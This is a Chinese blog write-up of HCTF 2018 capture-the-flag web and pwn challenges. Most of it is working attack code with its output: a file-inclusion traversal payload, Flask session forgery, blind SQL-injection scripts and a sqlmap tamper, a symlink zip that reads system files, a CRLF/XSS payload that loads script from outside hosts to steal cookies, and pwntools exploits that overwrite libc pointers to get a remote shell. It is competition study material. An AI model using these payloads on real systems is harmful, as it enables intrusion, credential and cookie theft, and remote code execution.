Tianji's Blog.

hctf2018

Word count: 4,123 / Reading time: 23 min
2018/11/11 Share

Web

warmup

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<?php
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}

if (in_array($page, $whitelist)) {
return true;
}

$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}

$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}

if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>

payload:

curl "http://warmup.2018.hctf.io/index.php" -d "file=hint.php?/../ffffllllaaaagggg"

admin

方法1

flask的session保存在cookie中,并通过密钥校验session的正确性。如果知道密钥,也就可以任意伪造session.

使用工具:https://github.com/noraj/flask-session-cookie-manager

1
2
qianfa@qianfa:~/Desktop/hctf$ python session_manager.py decode -c ".eJw9kEGLwjAQhf_KMmcPmtWL4EGIlQozRUgNmYu4bW0bExeqUhvxv290wdMw8-C9-d4D9seuujQwv3a3agT7toT5A75-YA68zmfGbqcUlkOmE2f8zpJdCfSrPpP13YSdxVD3JIse1zhluXGZ2jiyyxnJekrCCONzQap0RpkxqaTBeGeZDxQSS5objBOlGTKVfse8iVHUsCpPvN5OUEev4JpMrwRLHEjnA6r0TqE5sXQxZzuLe0CdL-A5guLSHffX31N1_iCgXN7JJ62x7F8or9fZlh4FedJpxMgHjhoKduzZUogx9eJt1_pDXX2ctC7Tov9XzgcfBbi2h3PZ9jfbwghul6p7lweTMTz_ADRccOA.W-gvYA.qZr8vZsK6dpC8j6l3v-Oavi_KQc"
{"_fresh":true,"_id":{" b":"ZGU5YjQ4NzAyOWFlYmVjNjE2MmEwODgxYzVjMzgwNDcwMGM4ZDJlOTJlNjA5NDg4N2Y2YmU2NTdlYTY0NTFhMDg4ZDUyNzFjNWZhMzFjMDYyOTI3ZGU1YTNhZTdkZGQ1MWJlNzlhOWE2ZDMyNWUyMTIxNzhkZDllNjQ5MTIzMWU="},"csrf_token":{" b":"MDAxNmFiYjZmYjQ4MmEwZjdmM2NmNWIwODUyZjZmM2ZlZmZjNzMyNg=="},"image":{" b":"WWdIcw=="},"name":"tiandiwuji","user_id":"10"}

网站源代码:

https://github.com/woadsl1234/hctf_flask/

通过源码我们可以看到:

SECRET_KEY = os.environ.get('SECRET_KEY') or 'ckj123'

尝试使用ckj123查看我们的cookie:

1
2
3
4
5
qianfa@qianfa:~/Desktop/hctf$ python session_manager.py decode -c ".eJw9kEGLwjAQhf_KMmcPmtWL4EGIlQozRUgNmYu4bW0bExeqUhvxv290wdMw8-C9-d4D9seuujQwv3a3agT7toT5A75-YA68zmfGbqcUlkOmE2f8zpJdCfSrPpP13YSdxVD3JIse1zhluXGZ2jiyyxnJekrCCONzQap0RpkxqaTBeGeZDxQSS5objBOlGTKVfse8iVHUsCpPvN5OUEev4JpMrwRLHEjnA6r0TqE5sXQxZzuLe0CdL-A5guLSHffX31N1_iCgXN7JJ62x7F8or9fZlh4FedJpxMgHjhoKduzZUogx9eJt1_pDXX2ctC7Tov9XzgcfBbi2h3PZ9jfbwghul6p7lweTMTz_ADRccOA.W-gvYA.qZr8vZsK6dpC8j6l3v-Oavi_KQc" -s "ckj123"
{u'csrf_token': '0016abb6fb482a0f7f3cf5b0852f6f3feffc7326', u'user_id': u'10', u'name': u'tiandiwuji', u'image': 'YgHs', u'_fresh': True, u'_id': 'de9b487029aebec6162a0881c5c3804700c8d2e92e6094887f6be657ea6451a088d5271c5fa31c062927de5a3ae7ddd51be79a9a6d325e212178dd9e6491231e'}

qianfa@qianfa:~/Desktop/hctf$ tf$ python session_managerdecode -c ".eJw9kEGLwjAQhf_KMmcPmtWL4EGIlQozRUgNmYu4bW0bExeqUhvxv290wdMw8-C9-d4D9seuujQwv3a3agT7toT5A75-YA68zmfGbqcUlkOmE2f8zpJdCfSrPpP13YSdxVD3JIse1zhluXGZ2jiyyxnJekrCCONzQap0RpkxqaTBeGeZDxQSS5objBOlGTKVfse8iVHUsCpPvN5OUEev4JpMrwRLHEjnA6r0TqE5sXQxZzuLe0CdL-A5guLSHffX31N1_iCgXN7JJ62x7F8or9fZlh4FedJpxMgHjhoKduzZUogx9eJt1_pDXX2ctC7Tov9XzgcfBbi2h3PZ9jfbwghul6p7lweTMTz_ADRccOA.W-gvYA.qZr8vZsK6dpC8j6l3v-Oavi_KQc" -s "ckj1234"
[Decoding error]Signature 'qZr8vZsK6dpC8j6l3v-Oavi_KQc' does not match

我们发现ckj123就是真实的密钥。

然后就可以伪造session:

1
2
qianfa@qianfa:~/Desktop/hctf$ python session_manager.py encode -t "{u'csrf_token': '0016abb6fb482a0f7f3cf5b0852f6f3feffc7326', u'user_id': u'10', u'name': u'admin', u'image': 'YgHs', u'_fresh': True, u'_id': 'de9b487029aebec6162a0881c5c3804700c8d2e92e6094887f6be657ea6451a088d5271c5fa31c062927de5a3ae7ddd51be79a9a6d325e212178dd9e6491231e'}" -s "ckj123"
.eJw9kEGLwjAQhf_KMmcPmtWL4EGIlQozRUgNmYu4bW0bExeqUhvxv290wdMw8-C9-d4D9seuujQwv3a3agT7toT5A75-YA68zmfGbqcUlkOmE2f8zpJdCfSrPpP13YSdxVD3JIse1zhluXGZ2jiyyxnJekrCCONzQap0RpkxqaTBeGeZDxQSS5objBOlGTKVfse8iVHUsCpPvN5OUEev4JpMrwRLHEjnA6r0TqE5sXQxZzuLe0CdL-A5guLSHffX31N1_iCgXN7JJ62x7F8or9fZlh4FedJpxMgHjhoKduzZUogx9eJt1_pDXX2ctC7Tov9XzgcfBTiUvj3DCG6Xqnv3BpMxPP8A9uFusQ.W-gwhQ.zuBhgwJ6v79wrzxKJSPGygiZ56M

这时候,就可以得到flag了。

方法二

参考链接:http://blog.lnyas.xyz/?p=1411

注册的用户名经过strlower后才与已有的用户名进行比较。

在change密码这里,更改密码之前又经过了一次strower,

注册一个ᴬdmin用户,登陆可以看到第一次strower把ᴬdmin变成了Admin,与admin不同所以注册成功。

然后更改密码,这里是第二次strower操作,Aadmin会变成admin,最终更改的是admin的密码。 最后退出,再用正常的admin登陆即可

方法三:

条件竞争

Kzone

问题主要出在member.php中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
if (isset($_COOKIE["islogin"])) {
if ($_COOKIE["login_data"]) {
$login_data = json_decode($_COOKIE['login_data'], true);
$admin_user = $login_data['admin_user'];
$udata = $DB->get_row("SELECT * FROM fish_admin WHERE username='$admin_user' limit 1");
if ($udata['username'] == '') {
setcookie("islogin", "", time() - 604800);
setcookie("login_data", "", time() - 604800);
}
$admin_pass = sha1($udata['password'] . LOGIN_KEY);
if ($admin_pass == $login_data['admin_pass']) {
$islogin = 1;
} else {
setcookie("islogin", "", time() - 604800);
setcookie("login_data", "", time() - 604800);
}
}
}

可以看到

1
2
3
4
5
6
$udata = $DB->get_row("SELECT * FROM fish_admin WHERE username='$admin_user' limit 1");
if ($udata['username'] == '') {
setcookie("islogin", "", time() - 604800);
setcookie("login_data", "", time() - 604800);
}
$admin_pass = sha1($udata['password'] . LOGIN_KEY);

如果\$udata从数据库中没有找到任何值,那么\$udata[‘password’]就是null,这样\$admin_pass就等于sha1(LOGIN_KEY)也就是:3aa526bed244d14a09ddcc49ba36684866ec7661

waf.php:

1
2
3
4
5
6
7
function waf($string)
{
$blacklist = '/union|ascii|mid|left|greatest|least|substr|sleep|or|benark|like|regexp|if|=|-|<|>|\#|\s/i';
return preg_replace_callback($blacklist, function ($match) {
return '@' . $match[0] . '@';
}, $string);
}

这样,就过滤了information。可以使用mysql.innodb_table_stats绕过。

所以可以构造如下payload,sql语句能够成功读到admin的记录时,由于密码不对,将无法登录成功。当sql语句无法读到admin的记录时,就可以成功登录,这样便可以进行bool注入。

1
{"admin_user":"admin'&&right((select(@@secure_file_priv)),%d)in(%s)&&\'1","admin_pass":"3aa526bed244d14a09ddcc49ba36684866ec7661"}

可是,想到获得数据表名,便需要information_schema,但是or被过滤了。

可以看到,

$login_data = json_decode($_COOKIE['login_data'], true);

这一行,在过滤之后才执行,所以可以通过编码绕过。json_decode会进行解码操作。

1
2
3
4
5
6
7
8
9
10
11
12
payload = payload.replace('u', 'u0075')
payload = payload.replace('o', 'u006f')
payload = payload.replace('i', 'u0069')
payload = payload.replace(''', 'u0027')
payload = payload.replace('"', 'u0022')
payload = payload.replace(' ', 'u0020')
payload = payload.replace('s', 'u0073')
payload = payload.replace('#', 'u0023')
payload = payload.replace('>', 'u003e')
payload = payload.replace('<', 'u003c')
payload = payload.replace('-', 'u002d')
payload = payload.replace('=', 'u003d')

方法一(Ricterz):

参考链接:http://www.melodia.pw/?p=918

通过sqlmap执行:

编写tamper:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#!/usr/bin/env python
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW

def dependencies():
pass

def tamper(payload, **kwargs):
data = '''{"admin_user":"admin%s","admin_pass":65};'''
payload = payload.lower()
payload = payload.replace('u', 'u0075')
payload = payload.replace('o', 'u006f')
payload = payload.replace('i', 'u0069')
payload = payload.replace(''', 'u0027')
payload = payload.replace('"', 'u0022')
payload = payload.replace(' ', 'u0020')
payload = payload.replace('s', 'u0073')
payload = payload.replace('#', 'u0023')
payload = payload.replace('>', 'u003e')
payload = payload.replace('<', 'u003c')
payload = payload.replace('-', 'u002d')
payload = payload.replace('=', 'u003d')
payload = payload.replace('f1a9', 'F1a9')
payload = payload.replace('f1', 'F1')
return data % payload

指定bool盲注:

--technique=B

指定数据库:

-dbms=mysql

sql识别:

--not-string=window.location

再加点线程:

--thread=10

最后:

sqlmap -r 1.txt --tamper=hctf --dbms=mysql --thread=10 --technique=B --not-string=window.location --dbs

方法二

python3会对unicode编码自动解码,需要转义一下,python2不需要。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
# -*- coding: utf-8 -*-
import requests
import string

url = 'http://kzone.2018.hctf.io/include/common.php'
str1 = string.ascii_letters+string.digits+'{}!@#$*&_,'

def check(payload):
cookie={
'PHPSESSID':'8ehnp28ccr4ueh3gnfc3uqtau1',
'islogin':'1',
'login_data':payload
}
try:
requests.get(url,cookies=cookie,timeout=3)
return 0
except:
return 1

result=''
for i in range(1,33):
for j in str1:
#payload='{"admin_user":"admin\'and/**/\\u0069f(\\u0073ubstr((select/**/table_name/**/from/**/inf\\u006Frmation_schema.tables/**/where/**/table_schema\\u003Ddatabase()/**/limit/**/0,1),%d,1)\\u003D\'%s\',\\u0073leep(3),0)/**/and/**/\'1","admin_pass":65}'%(i,j)
payload = '{"admin_user":"admin\'/**/and/**/\\u0069f(\\u0061scii(\\u0073ubstr((select/**/F1a9/**/from/**/F1444g),%s,1))\\u003d%s,\\u0073leep(4),1)/**/and/**/\'1","admin_pass":"123"}'% (str(i),ord(j))
#print('[+]'+payload)
if check(payload):
result += j
break
print(result)

hide and seek

only admin can get it update1/更新1: 1. fix bugs 2. attention: you may need to restart all your work as something has changed hint: 1. docker 2. only few things running on it update2/更新2: Sorry,there are still some bugs, so down temporarily. update3/更新3: fixed bug

参考链接:https://www.leavesongs.com/PENETRATION/bottle-crlf-cve-2016-9964.html

1
2
3
ln -s /etc/passwd link

zip -y test.zip link

上传之后,可以看到/etc/passwd.

1
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/bin/false nginx:x:101:102:nginx user,,,:/nonexistent:/bin/false messagebus:x:102:103::/var/run/dbus:/bin/false

尝试读取/proc/self/environ中的环境变量:

1
UWSGI_ORIGINAL_PROC_NAME=/usr/local/bin/uwsgiSUPERVISOR_GROUP_NAME=uwsgiHOSTNAME=30b76592807cSHLVL=0PYTHON_PIP_VERSION=18.1HOME=/rootGPG_KEY=0D96DF4D4110E5C43FBFB17F2D347EA6AA65421DUWSGI_INI=/app/it_is_hard_t0_guess_the_path_but_y0u_find_it_5f9s5b5s9.iniNGINX_MAX_UPLOAD=0UWSGI_PROCESSES=16STATIC_URL=/staticUWSGI_CHEAPER=2NGINX_VERSION=1.13.12-1~stretchPATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binNJS_VERSION=1.13.12.0.2.0-1~stretchLANG=C.UTF-8SUPERVISOR_ENABLED=1PYTHON_VERSION=3.6.6NGINX_WORKER_PROCESSES=autoSUPERVISOR_SERVER_URL=unix:///var/run/supervisor.sockSUPERVISOR_PROCESS_NAME=uwsgiLISTEN_PORT=80STATIC_INDEX=0PWD=/app/hard_t0_guess_n9f5a95b5ku9fgSTATIC_PATH=/app/staticPYTHONPATH=/appUWSGI_RELOADS=0

读取/app/it_is_hard_t0_guess_the_path_but_y0u_find_it_5f9s5b5s9.ini:

1
[uwsgi] module = hard_t0_guess_n9f5a95b5ku9fg.hard_t0_guess_also_df45v48ytj9_main callable=app

读取/app/hard_t0_guess_n9f5a95b5ku9fg/hard_t0_guess_also_df45v48ytj9_main.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
# -*- coding: utf-8 -*-
from flask import Flask,session,render_template,redirect, url_for, escape, request,Response
import uuid
import base64
import random
import flag
from werkzeug.utils import secure_filename
import os
random.seed(uuid.getnode())
app = Flask(__name__)
app.config['SECRET_KEY'] = str(random.random()*100)
app.config['UPLOAD_FOLDER'] = './uploads'
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024
ALLOWED_EXTENSIONS = set(['zip'])

def allowed_file(filename):
return '.' in filename and \
filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS


@app.route('/', methods=['GET'])
def index():
error = request.args.get('error', '')
if(error == '1'):
session.pop('username', None)
return render_template('index.html', forbidden=1)

if 'username' in session:
return render_template('index.html', user=session['username'], flag=flag.flag)
else:
return render_template('index.html')


@app.route('/login', methods=['POST'])
def login():
username=request.form['username']
password=request.form['password']
if request.method == 'POST' and username != '' and password != '':
if(username == 'admin'):
return redirect(url_for('index',error=1))
session['username'] = username
return redirect(url_for('index'))


@app.route('/logout', methods=['GET'])
def logout():
session.pop('username', None)
return redirect(url_for('index'))

@app.route('/upload', methods=['POST'])
def upload_file():
if 'the_file' not in request.files:
return redirect(url_for('index'))
file = request.files['the_file']
if file.filename == '':
return redirect(url_for('index'))
if file and allowed_file(file.filename):
filename = secure_filename(file.filename)
file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
if(os.path.exists(file_save_path)):
return 'This file already exists'
file.save(file_save_path)
else:
return 'This file is not a zipfile'

try:
extract_path = file_save_path + '_'
os.system('unzip -n ' + file_save_path + ' -d '+ extract_path)
read_obj = os.popen('cat ' + extract_path + '/*')
file = read_obj.read()
read_obj.close()
os.system('rm -rf ' + extract_path)
except Exception as e:
file = None

os.remove(file_save_path)
if(file != None):
if(file.find(base64.b64decode('aGN0Zg==').decode('utf-8')) != -1):
return redirect(url_for('index', error=1))
return Response(file)


if __name__ == '__main__':
#app.run(debug=True)
app.run(host='127.0.0.1', debug=True, port=10008)

读取templates/index.html:

if user
1
2
3
4
{% if user == 'admin' %}
Your flag: <br>
{{ flag }}
{% else %}

漏洞:

1
2
3
random.seed(uuid.getnode())
app = Flask(__name__)
app.config['SECRET_KEY'] = str(random.random()*100)

这里的uuid.getnode()就是获取固定的mac地址。

读取网卡信息/proc/net/dev

读取mac地址/sys/class/net/eth0/address:

1
2
3
4
12:34:3e:14:7c:62 

>>> 0x12343e147c62
20015589129314

得到SECRET_KEY之后,即可伪造session.

bottle

参考链接:https://www.leavesongs.com/PENETRATION/bottle-crlf-cve-2016-9964.html

bottle的crlf注入。直接crlf首先注入一个CSP头部覆盖调已有的,然后注入xss向量即可,中间还需要注一个content-type头部,不然xss向量不解析。网上找到p牛的文章中的exp改一下就行了,exp如下:

http://bottle.2018.hctf.io/path?path=http://bottle.2018.hctf.io:0/%250aContent-Type:text/html%250aContent-Security-Policy:script-src%2520*%250a%250a%3Cscript/src=http://zzm.cat/1.js%3E%3C/script%3E>

刚开始的时候,CSP是在响应包的上面的,需要想办法绕过CSP。最后伟哥告诉我那个hint1不是机器人访问的crontab,是bottle这个框架重启的crontab。bottle这个框架好像有一个特性,每次重启的时候可以bypass掉CSP。但是出题人好像第二天发现这个bypass思路自己都复现不了,所以就把CSP设置到响应包下面了。 接下来就简单了,只需要绕过302跳转就可以打到cookie。因为302的时候不会xss。利用 < 80端口可以绕过302跳转。可以在浏览器手动试一下。 80端口的时候:

22端口:

payload:

1
http://bottle.2018.hctf.io/path?path=http://bottle.2018.hctf.io:22/user%0d%0aX-XSS-Protection:0%0d%0aContent-Length:300%0d%0a%0d%0a%3Cscript%20src%3dhttp://139.199.27.197:7000/1.js%3E%3C/script%3E

game

这里可以根据pass降序排列:

http://game.2018.hctf.io/web2/user.php?order=password

因而,可以一位一位的爆破出password。

比如:

首先注册一个密码为d的用户,该用户最终会出现在id为1,用户名为admin的用户之后。

在注册一个密码为e的用户,该用户最终会出现在id为1,用户名为admin的用户之前。从而可以确定admin的密码第一位为d,反复注册即可。

Pwn

the_end

当执行exit函数的时候,会清空缓冲区,_IO_2_1_stdout_结构便起了很大的作用。

方法1

exit -> exit + 16 -> __run_exit_handlers+18 -> __run_exit_handlers+230 -> _dl_fini+126

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
pwndbg> 
0x00007ffa38b80b2e 153 in dl-fini.c
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────[ REGISTERS ]───────────────────────────────────
RAX 0x90
RBX 0x539
RCX 0x7ffa38d96040 (_rtld_global) —▸ 0x7ffa38d97168 —▸ 0x55a87726f000 ◂— jg 0x55a87726f047
RDX 0x7ffa38b80ab0 (_dl_fini) ◂— push rbp
RDI 0x7ffa38d96948 (_rtld_global+2312) ◂— 0x0
RSI 0x539
R8 0x7ffa38b6c780 (_IO_stdfile_1_lock) ◂— 0x0
R9 0x7ffa38d78700 ◂— 0x7ffa38d78700
R10 0x0
R11 0x246
R12 0x7ffa38d96048 (_rtld_global+8) ◂— 0x4
R13 0x7ffa38b6bc40 (initial) ◂— 0x0
R14 0x0
R15 0x0
RBP 0x7ffd96fb0c60 —▸ 0x7ffa38b6a5f8 (__exit_funcs) —▸ 0x7ffa38b6bc40 (initial) ◂— 0x0
RSP 0x7ffd96fb0bd0 ◂— 0x6562b026
RIP 0x7ffa38b80b2e (_dl_fini+126) ◂— call qword ptr [rip + 0x216414]
────────────────────────────────────[ DISASM ]─────────────────────────────────────
0x7ffa38b80ae4 <_dl_fini+52> lea rcx, [rip + 0x215555] <0x7ffa38d96040>
0x7ffa38b80aeb <_dl_fini+59> shl rax, 4
0x7ffa38b80aef <_dl_fini+63> lea r12, [rcx + rax - 0x88]
0x7ffa38b80af7 <_dl_fini+71> jmp _dl_fini+119 <0x7ffa38b80b27>

0x7ffa38b80b27 <_dl_fini+119> lea rdi, [rip + 0x215e1a] <0x7ffa38d96948>
► 0x7ffa38b80b2e <_dl_fini+126> call qword ptr [rip + 0x216414] <0x7ffa388962a4>
rdi: 0x7ffa38d96948 (_rtld_global+2312) ◂— 0x0
rsi: 0x539
rdx: 0x7ffa38b80ab0 (_dl_fini) ◂— push rbp
rcx: 0x7ffa38d96040 (_rtld_global) —▸ 0x7ffa38d97168 —▸ 0x55a87726f000 ◂— jg 0x55a87726f047

0x7ffa38b80b34 <_dl_fini+132> mov ecx, dword ptr [r12]
0x7ffa38b80b38 <_dl_fini+136> test ecx, ecx
0x7ffa38b80b3a <_dl_fini+138> je _dl_fini+80 <0x7ffa38b80b00>

0x7ffa38b80b3c <_dl_fini+140> mov rax, qword ptr [r12 - 8]
0x7ffa38b80b41 <_dl_fini+145> movzx edx, byte ptr [rax + 0x315]
─────────────────────────────────────[ STACK ]─────────────────────────────────────
00:0000│ rsp 0x7ffd96fb0bd0 ◂— 0x6562b026
01:0008│ 0x7ffd96fb0bd8 ◂— 0x3000000010
02:0010│ 0x7ffd96fb0be0 —▸ 0x7ffd96fb0cb0 ◂— 0x596fb0da0
03:0018│ 0x7ffd96fb0be8 —▸ 0x7ffd96fb0bf0 —▸ 0x7ffd96ff9280 ◂— add byte ptr ss:[rax], al /* '6' */
04:0020│ 0x7ffd96fb0bf0 —▸ 0x7ffd96ff9280 ◂— add byte ptr ss:[rax], al /* '6' */
05:0028│ 0x7ffd96fb0bf8 —▸ 0x7ffa38872230 (sleep) ◂— push rbp
06:0030│ 0x7ffd96fb0c00 —▸ 0x7ffd96fb0db8 —▸ 0x7ffd96fb2224 ◂— 0x52454d554e5f434c ('LC_NUMER')
07:0038│ 0x7ffd96fb0c08 —▸ 0x7ffa388722f0 (__nanosleep_nocancel+7) ◂— cmp rax, -0xfff
───────────────────────────────────[ BACKTRACE ]───────────────────────────────────
► f 0 7ffa38b80b2e _dl_fini+126
f 1 7ffa387dfff8 __run_exit_handlers+232
f 2 7ffa387e0045
f 3 55a87726f969
f 4 596fb0da0
f 5 7ffa38d96f4c _rtld_global+3852
f 6 55a87726f970
f 7 7ffa387c6830 __libc_start_main+240
f 8 55a87726f7c9
f 9 7ffd96fb0d98
f 10 1c
pwndbg> x/xg 0x7ffa38b80b2e + 0x216414
0x7ffa38d96f42 <_rtld_global+3842>: 0x62a4000000000000
pwndbg> x/xg 0x7ffa38b80b34 + 0x216414
0x7ffa38d96f48 <_rtld_global+3848>: 0x00007ffa388962a4

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from pwn import *

debug = int(raw_input("is_debug:"))

if debug:
p = process("./the_end")
# libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
libc = ELF("./libc64.so")
context.log_level = "debug"
one_gadget = 0xf02a4
# one_gadget = 0xf1147
free_hook = 0x3c67a8
else:
p = remote("150.109.44.250", 20002)
libc = ELF("./libc64.so")
# one_gadget = 0xf1231
one_gadget = 0xf02a4
free_hook = 0x3c67a8
context.log_level = "debug"

if not debug:
p.recvuntil("token:")
p.sendline("MGZM3eIB6lN6aL9gs1guW2CIVP4iYx3E")

data = p.recvline()
sleep_addr = data[15:29]
print sleep_addr

libc_addr = int(sleep_addr, 16) - libc.symbols['sleep']
print hex(libc_addr)
libc.address = libc_addr

if debug:
attach(p)

#0x7f5f336d8f48
target_addr = libc_addr + 0x5f0f48
one_gadget = libc_addr + one_gadget
print hex(one_gadget)
p.send(p64(target_addr))
p.send(p64(one_gadget)[0:1])
p.send(p64(target_addr + 1))
p.send(p64(one_gadget)[1:2])
p.send(p64(target_addr + 2))
p.send(p64(one_gadget)[2:3])
p.send(p64(target_addr + 3))
p.send(p64(one_gadget)[3:4])
p.send(p64(target_addr + 4))
p.send(p64(one_gadget)[4:5])
p.sendline("cat flag >&0") # 本地可执行命令,比如`curl 123.207.90.143`但是查看文件,列目录等,远程可以 `cat flag >&0`的方式查看内容。
p.interactive()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
qianfa@qianfa:~/Desktop/pwn/hctf/the_end_dir$ python solve.py 
is_debug:0
[+] Opening connection to 150.109.44.250 on port 20002: Done
[*] '/home/qianfa/Desktop/pwn/hctf/the_end_dir/libc64.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
0x7fb2ccd1b230
0x7fb2ccc4f000
0x7fb2ccd3f2a4
[*] Switching to interactive mode
$ cat flag >&0
hctf{a53783c526bf3756a983a2e5af0e1f980393b7b69b0dfd68d578e937e342d212}

方法二

修改stdin->vtable

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#/usr/bin/python
from pwn import *

context.endian = "little"
context.os = "linux"
context.arch = "amd64" #i386
context.word_size = 64 #32
context.log_level = "debug" #info, warn, critical

global io
binary = "./the_end"

def write4(date):
for one in data:
io.send(p64(one[0]))
io.send(chr(one[1]))


#0x00007f436cc2d6e0 stdin->vtable
#0x00007f436cc2e3e0 a pointer --> one byte
#0x00007f436cc2e400 0x00007f436c9f67e9
# 0x00007f436c95a2a4 one_gadget --> 3 bytes


'''
stdin->vtable 0x00007fa1e55679b8 0x00007fa1e55666e0
'''
if __name__ == "__main__":
elf = ELF(binary)
libc = ELF("./libc.so.6")
pipe_argv = [binary,""]
pipe_env = {"LD_PRELOAD":"./libc.so.6"}
#io = process(pipe_argv, env=pipe_env)
io = remote("150.109.46.159",20002)
io.readuntil("Input your token:")
io.sendline("Ooh0jQajnHvoGq2lTlMt9tkT0EkellEa")
io.readuntil("here is a gift ")
libc_sleep = int(io.readuntil(",")[2:-1], 16)
libc_base = libc_sleep - libc.symbols["sleep"]
log.info("libc_base-->{}".format(hex(libc_base)))
one_gadget = 0xf02a4 + libc_base
log.info(hex(one_gadget))
stdin_vtable = 0x3c49b8 + libc_base
io.readline()
data = []

data.append([libc_base + 0x3c4bf8 + 0, ((one_gadget) >> 0) & 0xff])
data.append([libc_base + 0x3c4bf8 + 1, ((one_gadget) >> 8) & 0xff])
data.append([libc_base + 0x3c4bf8 + 2, ((one_gadget) >> 16) & 0xff])
data.append([libc_base + 0x3c49b8 + 1, ((0x3c4be0 + libc_base) >> 8) & 0xff])
pause()
write4(data)
io.interactive()
'''enter'''
'''enter'''
'''exec 1>&0'''

方法三:

修改stdout->vtable

服务器上libc的版本是2.24,在2.24的libc源码中对io_filevtable进行了IO_vtable_check,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
#! /usr/bin/env python
# -*- coding: utf-8 -*-
import os
import sys
# https://github.com/matrix1001/welpwn
if os.path.exists('./welpwn') != True:
print("Verify that welpwn is in the current directory")
exit()
sys.path.insert(0,os.getcwd()+'/welpwn')
from PwnContext.core import *
if __name__ == '__main__':
#context.terminal = ['tmux', 'splitw', '-h']

#-----function for quick script-----#
s = lambda data :ctx.send(str(data)) #in case that data is a int
sa = lambda delim,data :ctx.sendafter(str(delim), str(data))
st = lambda delim,data :ctx.sendthen(str(delim), str(data))
sl = lambda data :ctx.sendline(str(data))
sla = lambda delim,data :ctx.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :ctx.recv(numb)
ru = lambda delims, drop=True :ctx.recvuntil(delims, drop)
irt = lambda :ctx.interactive()

rs = lambda *args, **kwargs :ctx.start(*args, **kwargs)
leak = lambda address, count=0 :ctx.leak(address, count)

uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))

def to_write(addr,val):
s(p64(addr))
sleep(0.1)
s(p8(val))

debugg = 0
logg = 0

ctx.binary = './the_end'
#ctx.remote_libc = '/vm_share/libc64.so' # /glibc/2.24/lib/libc-2.24.so
#ctx.debug_remote_libc = True # this is by default
ctx.remote = ('150.109.46.159', 20002)

#ctx.bases.libc
#ctx.symbols = {'sym1':0x1234, 'sym2':0x5678}
#ctx.breakpoints = [0x964]
#ctx.debug()

if debugg:
rs()
else:
rs(method = 'remote')
sla('token:','DN2WQ9iOvvAGyRxDC4KweQ2L9hAlhr6j')

if logg:
context.log_level = 'debug'

ru('gift ')
libc_base = int(ru(','),16) - 0xcc230
log.success("libc_base = %s"%hex(libc_base))

tls = libc_base + 0x5d5700
